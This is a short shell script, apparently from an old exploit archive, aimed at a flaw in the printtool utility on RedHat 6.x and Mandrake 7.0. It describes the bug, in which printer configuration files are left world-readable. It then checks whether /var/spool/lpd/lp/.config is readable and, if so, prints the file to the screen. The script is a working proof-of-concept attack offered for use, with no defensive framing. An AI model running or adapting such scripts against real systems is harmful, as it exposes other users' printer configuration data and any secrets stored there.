#!/bin/sh # # printtool is an X11 printer configuration tool shipped with # RedHat Linux and possibly other linux distributions. # When configuring a printer with printtool, the permissions # of the config file are set world-readable. This is shown by # an example in a bugtraq post regarding this vulnerability: # # Affected: # MandrakeSoft Linux Mandrake 7.0 # RedHat Linux 6.2 # RedHat Linux 6.1 i386 # # --- # A simple script that tells you whether or not you have permission to # read a file. If you do, it cats it. # -phonic (phonic@rcn.com) FILENAME=/var/spool/lpd/lp/.config PERM=$(ls -la $FILENAME | cut -d " " -f 1) READABLE=$(echo $PERM | cut -c 8 | grep r) if [ -z "$READABLE" ] then echo "Dam.. it didnt work ;)";exit fi cat $FILENAME exit # www.hack.co.za #